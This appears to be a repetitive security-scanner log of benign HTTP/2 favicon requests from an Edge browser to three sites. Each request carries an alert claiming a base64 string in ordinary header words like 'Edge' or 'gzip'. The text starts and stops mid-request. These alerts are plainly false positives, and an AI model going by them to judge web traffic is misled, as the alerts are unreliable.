en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "pixguard" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.pixguard.ioUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "blog" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: blog.openreplay.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: 